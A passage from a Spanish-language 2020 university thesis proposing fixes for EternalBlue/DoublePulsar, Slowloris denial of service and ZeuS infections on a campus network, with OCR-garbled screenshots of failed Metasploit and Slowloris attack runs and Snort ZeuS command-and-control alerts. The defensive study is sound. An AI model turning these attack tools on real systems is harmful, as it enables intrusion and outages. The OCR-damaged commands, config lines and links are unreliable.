c0ZTd0iDuT_.gHzxdVIEow&irgwc=1&OCID=A1D2000142 aff 7593 1243925&tduid=(ir__t
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http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212&ranMID=24542&ranEAID=TnL5HPStwNw&ranSiteID=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&epi=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=(ir__tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00)(7593)(1243925)(TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow)()&irclickid=_tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212&ranMID=24542&ranEAID=TnL5HPStwNw&ranSiteID=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&epi=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=(ir__tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00)(7593)(1243925)(TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow)()&irclickid=_tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212&ranMID=24542&ranEAID=TnL5HPStwNw&ranSiteID=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&epi=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=(ir__tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00)(7593)(1243925)(TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow)()&irclickid=_tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00
http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012212&ranMID=24542&ranEAID=TnL5HPStwNw&ranSiteID=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&epi=TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow&irgwc=1&OCID=AID2000142_aff_7593_1243925&tduid=(ir__tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00)(7593)(1243925)(TnL5HPStwNw-c0ZTd0iDuT_.qHzxdVIEow)()&irclickid=_tf9uguxse9kftn9ekk0sohzlxv2xl3nyf9vbs6ul00

f9ugquxse9kftn9ekk0sohzIxv2x13nyfIvbsbul00)(7593)(1243925)(TnL5HPStwNw-
c0ZTdOiDuT .gHzxdVIEow)()&irclickid= tf9uguxse9kftn9ekkOsohzlxv2xI3nyf9vbs6ul00 ;

encontrar y descargar los parches de seguridad mostrados en la figura 7-4.

Figura 7-4: Parche de seguridad para MS17-010 de Windows 7
Realizado por: Byron Barragan, 2020

o Desconectar el cable de red de la computadora y reiniciar el equipo.

o Ejecutar los parches de seguridad descargados anteriormente.

v Paguete independiente de Microsoft Update (2)

kg kg
windowsb. windowsb6.
1-kb401221 1-kb401221

2-x64 2dec  2-x86_6bb0
efaal2e20... 4d3971bb...

Figura 8-4: Parches de seguridad descargados para Windows 7
Realizado por: Byron Barragan, 2020

. Reiniciar la computadora para finalizar la instalacion.

. Reconectar los cables de red a la computadora.

Después de la instalacion si se intenta explotar la vulnerabilidad, esta ya no ejecutara con éxito

como se observa en la figura 9-4.

[

=
o
o
=+

} = exploit

reverse TCP handler on 192,160 -~ ~°7 *°°°
8.56.1081:445 - Generating EternalbLue XML aata

56.181:445 - Generating Doublepulsar XML data
56.181:445 - Generating pay L for Doublepulsar
56.101:445 - Writing DLL in wine/drive c/eternmalll.dll
56.1681:445 - Launching Etermalbl ‘e

ting output back from Core; aborting...

6.181:445 - Are you sure vulnerable?
56.101:445 -

6.181:445 - ing was wrong!

completed, but no - on was created.

)

[=RT-RT-NT-]

O PR Bd B 5 B Bl B B

(1= == |

1
1
1
1
1
E
1
1
1
E

Figura 9-4: Explotacion de la vulnerabilidad MS17-010 sin éxito
Realizado por: Byron Barragan, 2020
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No se cred la sesion en la victima, es decir, no se pudo acceder, si no se tiene acceso la amenaza

Doublepulsar tampoco se puede desarrollar. Por lo que la amenaza MS17-010 ha sido mitigada.

4.3.  Solucién para las vulnerabilidades tipo denegacion de servicio; Slowloris.

Existen dos soluciones para un ataque Slowloris; La primera solucion es la instalacién de un
mod Ilamado Mod_qos, este mod ayuda a mitigar un ataque Slowloris hacia un servidor
Apache. Esta solucién fue tomada de un estudio realizado en Madrid por Samuel Ortega en julio
de 2018. Mod_qos permite la realizacion de filtros para las conexiones entrantes al servidor web
y con ello poder mitigar los ataques. (Ortega, 2018, pp. 85-86). La informacion de este mod se

puede observar en el siguiente enlace: http://mod-gos.sourceforge.net/

Para la instalacién y después la configuracion primero se debe instalar lo siguiente desde una
ventana del terminal de CentOS.

yum install openssl-devel . x86_64
yum install pcre-devel.x86_64
yum install httpd-devel.x86_64

Después de la instalacion se debe descargar el modo desde el siguiente enlace:

http://www.mediafire.com/?i35mnrrgzvesmxk

Una vez descargado se descomprime utilizando el comando
tar -zxvf mod_qos-10.15.tar.gz.

Se ingresa al directorio del mod

cd mod_qos-10.5

Se ingresa al directorio de apache2

cd apache2

Se ejecuta la compilacion, obteniéndose el siguiente resultado

apxs -i -c mod_gos.c

Después de la compilacion, se debe editar el archivo de configuracion de apache
vi /etc/httpd/conf/httpd.conf

Se escribe la siguiente linea en el archivo de configuracion

LoadModule gos_module /usr/lib64/httpd/modules/mod_gos.so

Se crea el archivo de configuracion con el nombre mod_gos.conf
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touch /etc/httpd/conf.d/qos.conf

En el archivo de configuracion recién creado se edita con
vim /etc/httpd/conf.d/qos.conf

y se escribe lo siguiente

## QoS Configuracion

<IfModule mod_gos.c>

#Manejo de conexiones hasta 100000 IPs diferentes

QS_ClientEntries 100000

# Se permite solamente 50 connexiones por IP

QS_SrvMaxConnPerlP 50

# Maximo nimero de conexiones TCP activas 256

MaxClients 256

# Desactivar la directiva keep-alive cuando el 70% de las conexiones TCP estan ocupadas:
QS_SrvMaxConnClose  70%

# Minimo de velocidad para peticiones / respuestas (niega a los clientes lentos que bloguean el
servidor ,

#Ejemplo; el script slowloris mantiene las peticiones HTTP :

QS_SrvMinDataRate 150 1200

# Limite de peticiones de encabezados y cuerpo (con cuidado, limita las cargas y las peticiones
POST):

# LimitRequestFields 30

# QS_LimitRequestBody 102400

</IfModule>

El script controla que tenga un maximo de conexiones de 100000 IP diferentes, es decir se
pueden conectar hasta 100000 equipos cada una con 50 conexiones, 256 conexiones TCP
activas, ademas desactivar el keep-alive cuando el 70% de las conexiones TCP estén utilizadas,
También con el script se controla la velocidad para peticiones con respuestas, negando a los
clientes lentos que intentan bloquear al servidor. La figura 10-4 muestra la edicion del archivo
de configuracion. Después de guardar el archivo de configuracion se debe reiniciar el servicio

de apache. Con la linea service httpd restart
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## QoS Configuracion

<IfModule mod qos.c>

#Manejo de conexiones hasta 100000 IPs diferentes

QS ClientEntries 100000

# Se permite solamente 50 connexiones por IP

QS SrvMaxConnPerIP 50

# Maximo numero de conexiones TCP activas 256

MaxClients 256

# Desactivar la directiva keep-alive cuando el 70% de las conexiones TCP est
an ocupadas:

QS SrvMaxConnClose 70%

# Minimo de velocidad para peticiones / respuestas (niega a los clientes len
tos que bloquean el servidor

#Ejemplo; el script slowloris mantiene las peticiones HTTP

QS SrvMinDataRate 150 1200

# Limite de peticiones de encabezados y cuerpo (con cuidado, limita las carg
as y las peticiones POST):

# LimitRequestFields 30

# 0S LimitRequestBody 162400

E/I?Hudulv»

Figura 10-4: Archivo de configuracién del mod_qos para Apache
Realizado por: Byron Barragan, 2020

La segunda solucion es la creacion de una regla de IP tables, la regla creada es iptables -1
INPUT -p tcp --dport 80 -m connlimit --connlimit-above 20 --connlimit-mask 40 -j DROP. En

la figura 11-4 se muestra esta regla creada.

|re =1 5T ~]# 1ptables -1 INPUT -p tcp dport 80 -m connlimit conniImit—abeyve |
rm mask 40 -§ DROP P
|root@localhost ~|# 1ptables -1 Tine -numbers

Chain INPUT (policy ACCEPT)

num target prot opt source destination

1 DROP tep anywhere anywhere tcp dpt:http #conn s
re/3iz » 20

Chain FORWARD (policy ACCEPT)
num target prot opt source destination

Chain OUTPUT (policy ACCEPT)

num target prot opt source destination
[root@localhost ~]# [J
@ hiy) (M {- root@localhost - 174

Figura 11-4: Creacion de la regla como solucion al ataque Slowloris
Realizado por: Byron Barragan, 2020

Al realizar el ataque con Slowloris aplicando la primera solucion, este si se realiza con éxito sin
embargo se demora mas en realizar la denegacion. Como lo muestra la figura 12-4.
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Applications ~ Places * [ Terminal » Mon 11:36

root@kali: - /slowloris.pl

View Search Terminal Help
Sending data.
Current stats: Slowloris has now sent packets successfully.
This thread now sleeping for 1 seconds

Current stats: Slowloris has now sent packets successfully.
This thread now sleeping for 1 seconds

Current stats: Slowloris has now sent packets successfully.
This thread now sleeping for 1 seconds

Building sockets

Building sockets

Sending data
Current stats: Slowloris has now sent packets successful
This thread now sleeping for 1 seconds...

Building sockets.

Building sockets

Sending data,

Building sockets
Current stats Slowloris has now sent packets successfully
This thread now sleeping for 1 seconds...

Building sockets.
Building sockets
Building sockets
Building sockets

Figura 12-4: Ejecucion de ataque Slowloris con el mod_gos instalado
Realizado por: Byron Barragan, 2020

Sin embargo, con la segunda solucién la mitigacion del ataque es completa, la regla creada
deniega las conexiones y el ataque no se realiza con éxito como lo muestra la figura 13-4. En
ella se puede observar que los paquetes enviados por el ataque son dropeados y en ningln

momento son recibidos por el servidor ya que excede la cantidad de conexiones enviadas.

Applications ~ Places * [ Terminal ~ Mon 19:01
root@kali: ~/slowloris,pl

File Edit View Search Terminal Help
Building sockets
Building ¢
Building
Building so«
Building
Building
Building
Building
Building
Building
Building s¢
Building s
Building
Building
Building
Building s
Building
Building sockets.

Figura 13-4: Ejecucion del ataque Slowloris con la regla de Iptable creada
Realizado por: Byron Barragén, 2020
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4.4.  Solucién para la amenaza del malware ZeuS

Si la computadora esta infectada con una version de este malware debe ser eliminado ya que
este se encarga de buscar, reunir y transmitir a terceros informacién confidencial. Por otra parte,
la activacion de los archivos de Zeus puede ser instalada de forma clandestina en la
carpeta UserProfile\Application Data. Una de las caracteristicas mas peligrosas es que después
de que logre infiltrarse se encripta en las configuraciones predeterminadas del sistema, haciendo

que su ubicacion sea mucho mas dificil de determinar por cualquier antivirus.

Para identificar este malware es que puede realizar cambios imprevistos en el sistema, o la
creacion de nuevos registros, instalacion de programas desconocidos sin previo aviso, ademas

se notara una ralentizacién de todo el sistema.
Para eliminar esta amenaza en la computadora se debe seguir los siguientes pasos:

Eliminar ZeuS con modo seguro y conexion a internet.

o Reiniciar la computadora infectada
o Ingresar a inicio de Windows avanzado, por lo general pulsando F8.
o Después escoger Solucion de problemas / Opcion avanzada / Configuracion de

inicio y hacer clic en el boton Reiniciar. Seleccionar Habilitar modo seguro con conexion de

red en la lista de configuraciones de inicio.

o Una vez iniciada la sesion en la cuenta con el malware descargar un antispyware
original.
o Eliminar todos los archivos detectados que pertenezcan al malware ZeuS

La instalacién y actualizacién de un antivirus original protege a la computadora y toda la
informacién de las amenazas que se pueden obtener durante la navegacion de internet, siendo
esto una posible solucidn frente a la amenaza del malware ZeuS. Ademas de la utilizacion de un
NIDS ayuda a la deteccion de esta amenaza para después su eliminacion. En la figura 14-4
muestra la deteccion de este Malware por Snort en diciembre de 2019 en el trafico de la Vlan
Docentes en una computadora de perteneciente a un profesor, como recomendacion se informé
la instalacion de un nuevo antivirus y mantenerlo actualizado. Dias después este malware ya no

fue detectado por Snort en el trafico de la Vlan.
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4* Aplicaciones Lugares  Terminal @ mar 1205 & ) O

root@localhost:~ - o x

Archivo Editar Ver Buscar Terminal Ayuda

2.2U4.185:51//Y -> [2.5.101./:80

12/23-11:32:35.928482 [**] [1:35549:1] MALWARE-CNC Win.Trojan.Zeus variant outbound co
nnection [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.2
5.204.185:51786 -> 72.5.161.7:80

12/23-11:32:36.671468 [**] [1:35030:1] MALWARE-CNC Win.Trojan.Zeus variant outbound co
nnection [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.2
5.204.185:51787 -> 72.5.161.7:80

12/23-11:33:37.769851 [**] [1:35549:1] MALWARE-CNC Win.Trojan.Zeus variant outbound co
nnection [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.2
5.204.185:51803 -> 72.5.161.7:80

12/23-11:33:38.513816 [**] [1:35030:1] MALWARE-CNC Win.Trojan.Zeus variant outbound co
nnection [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.2
5.204.185:51805 -> 72.5.161.7:80

12/23-11:34:39.020238 [**] [1:35549:1] MALWARE-CNC Win.Trojan.Zeus variant outbound co
nnection [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.2
5.204.185:51814 -> 107.6.74.81:80

12/23-11:34:39.772157 [**] [1:35030:1] MALWARE-CNC Win.Trojan.Zeus variant outbound co
nnection [**] [Classification: A Network Trojan was detected] [Priority: 1] {TCP} 172.2
5.204.185:51815 -> 72.5.161.7:80

S5: Session exceeded configured max bytes to queue 1048576 using 1049688 bytes (client
queue). 172.25.204.105 65188 --> 200.41.11.126 80 (0) : LWstate Ox1 LWFlags 0x2003

S5: Pruned session from cache that was using 1107968 bytes (stale/timeout). 172.25.204.
105 65188 --> 200.41.11.126 80 (0) : LWstate Ox1 LWFlags 0x2003

ANAOCTIL INANCOO L.t Lol &

Figura 14-4: Deteccién del malware ZeusS en la Vlan Docentes
Realizado por: Byron Barragan, 2020

45.  Comparacion antes y después de la aplicacion de la guia de solucion.

Como se indicé en el capitulo 11 se evalla la guia de solucién propuesta en este capitulo, para
ello se realiza la siguiente pregunta: ;Se pudo explotar la vulnerabilidad antes y después de
aplicar la guia de solucidon? Con las posibles respuestas: Si, No o0 Se detect6. Antes de aplicar la
guia de solucién, todas las vulnerabilidades y amenazas se pudieron explotar correctamente,

pero después de la aplicacion se obtuvo lo siguiente.

Tabla 4-4: Comparacion antes y después de la aplicacion de la guia de solucién propuesta

Vulnerabilidad/amenaza/ataque Se exploté antes de la Se explotd después de la
Guia Guia

Generic-tcp-timestamp Si Se detecto
Fingerprinting Si Se detectd

SMB Eternalblue Si No
Doublepulsar Si No

DoS- Slowloris Si No

Malware ZeuS Si No

Realizado por: Byron Barragan, 2020

Como se observa en la tabla 4-4 después de la aplicacion de la guia en el escenario virtual, las

vulnerabilidades y amenazas no se pudieron explotar por lo que la guia de solucién si resuelve
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las vulnerabilidades. Para el caso de los ataques Fingerprinting se considerd el valor “se
detectd” debido a que se instald un sistema de deteccion de intrusos diferente de Snort y se
detecto el ataque, sin embargo, no se mitiga ya que para ello se debe tomar otras acciones hacia
la persona identificada como insider después de que el ataque se realizara. De igual manera
para la vulnerabilidad Generic-tcp-timestamp se considerd el valor “se detectd” debido a que

para explotar esta vulnerabilidad se debe realizar un ataque fingerprinting.
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CONCLUSIONES

¢ Se pudo comprobar con Snort que las vulnerabilidades mas comunes de la capa de transporte
se relacionan con el funcionamiento de los protocolos TCP Y UDP. Snort detecté algunos
intentos de ataques de denegacion de servicio, variedad de amenazas como malware y
troyanos en la red del edificio de la FIE-ESPOCH, comprometiendo la autenticacion,
integridad, disponibilidad y confidencialidad de los datos.

e Se utilizé la herramienta de cddigo abierto Snort debido al amplio soporte brindado por la
comunidad de Snort y su conjunto de reglas definidas para distintos tipos de amenazas entre
las que se encuentran las mas comunes hacia la capa de trasporte, estas reglas se utilizaron
para el analisis del trafico en el edifico. Con Snort se puede configurar reglas de deteccion
propias de manera sencilla dependiendo de las necesidades de la red en comparacién a otros
NIDS donde la configuracion de reglas propias es mas compleja como es el caso de Suricata.

o Se aplicé la metodologia en los canales humano y red de datos del edificio, determinando
que la seguridad del canal humano es 85.7665 Ravs y una superficie de ataque de 13.92 lo
gue puede ser aprovechado por un posible atacante insider. Para el caso del canal de red de
datos la seguridad es 67.1216 Ravs debido a las 1082 vulnerabilidades encontradas con la
herramienta Nexpose y las 394207 alertas de amenazas registradas durante el analisis del
trafico de la red con la herramienta Snort. Siendo la cantidad alta de vulnerabilidades el
factor que determina un estado de seguridad bajo en el canal. Por lo que controlar y
solucionar las vulnerabilidades encontradas ayudard a mejorar la seguridad del canal.

e Se explotd la vulnerabilidad Generic-tcp-timestamp un escenario virtual desarrollado en el
simulador GNS3 con un ataque fingerprinting, un atacante insider puede obtener
informacién acerca del sistema si tiene éxito y puede ser utilizada para futuros ataques.
También, se explotd vulnerabilidades relacionadas al protocolo SMB con las cuales un
atacante insider puede obtener acceso total al sistema y realizar sus acciones maliciosas.
También, se replico la amenaza ZeuS y se determind que influye en el rendimiento de la
computadora victima. Finalmente se realizé un ataque de denegacion de servicio usando la
herramienta Slowloris debido a que los ataques DoS son los mas comunes hacia la capa de
trasporte.

e Se propuso una guia de solucion para las vulnerabilidades y amenazas explotadas en la fase
de explotacion, en la guia se explica paso por paso lo que se debe hacer para mitigar o
instalar un parche de seguridad que ayude a que los ataques recibidos no tengan éxito. Se
prob6 algunas de las soluciones propuestas en el escenario virtual desarrollado con el

simulador GNS3 y se comprobo su correcto funcionamiento.
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RECOMENDACIONES

o Se recomienda realizar el anélisis del trafico de la red del edificio de la FIE-ESPOCH por
mas tiempo, esto ayudara a determinar de una mejor manera las amenazas y direcciones IP
maliciosas presentes en la red. Informar sobre los resultados obtenidos a la Direccion de
Tecnologias de la Informacion y Comunicacion de la ESPOCH para la elaboracion de un
trabajo de mitigacion para estas amenazas.

e Se recomienda la utilizacion de Snort como Nids para entornos de redes pequefias, sin
embargo, para entornos de redes grandes se recomienda en primera instancia tener en cuenta
otros NIDS para realizar un estudio comparativo entre estos y determinar cual arroja mejores
resultados. En el campo real para la seguridad de una organizacion con entornos de red
grandes se recomienda considerar herramientas de pago para garantizar una mejor seguridad
de los sistemas.

¢ Revisar la Gltima versién de la metodologia OSSTMM y tomar en cuenta otras metodologias
para la creacion de una metodologia hibrida para obtener un resultado de auditoria mejor y
acorde a las necesidades de seguridad de la institucion. Se recomienda aplicar la metodologia
OSSTMM en su totalidad en la ESPOCH para evaluar el estado real de la seguridad del
campus académico.

e Se recomienda que, durante la explotacion de las amenazas mencionadas en este trabajo,
desconectar el cable de red de la computadora fisica y cortar toda comunicacién no esencial
entre la maquina fisica y la maquina virtual ya que la amenaza puede filtrarse hacia la
computadora fisica e infectar a toda la red. Ademas, se debe considerar un equipo lo
suficientemente potente para la realizacion de la simulacion. En caso de que la explotacion
se realice en equipos reales estar seguro de tener una forma de mitigacion o eliminacion de la
amenaza en caso de posibles imprevistos.

e Antes de aplicar la guia de solucién propuesta en este trabajo tener en cuenta la version del
sistema operativo en donde se va a ejecutar la solucion, en caso de que no se encuentre la
version del sistema operativo en la guia, aplicar la solucion mas cerca a su version de sistema
operativo. Nuevamente mantenerse informado sobre nuevas formas de mitigacion o
soluciones que se puedan aplicar para las vulnerabilidades y amenazas tratadas en este

trabajo y actualizar los equipos para reducir las amenazas a las que se encuentran expuesto
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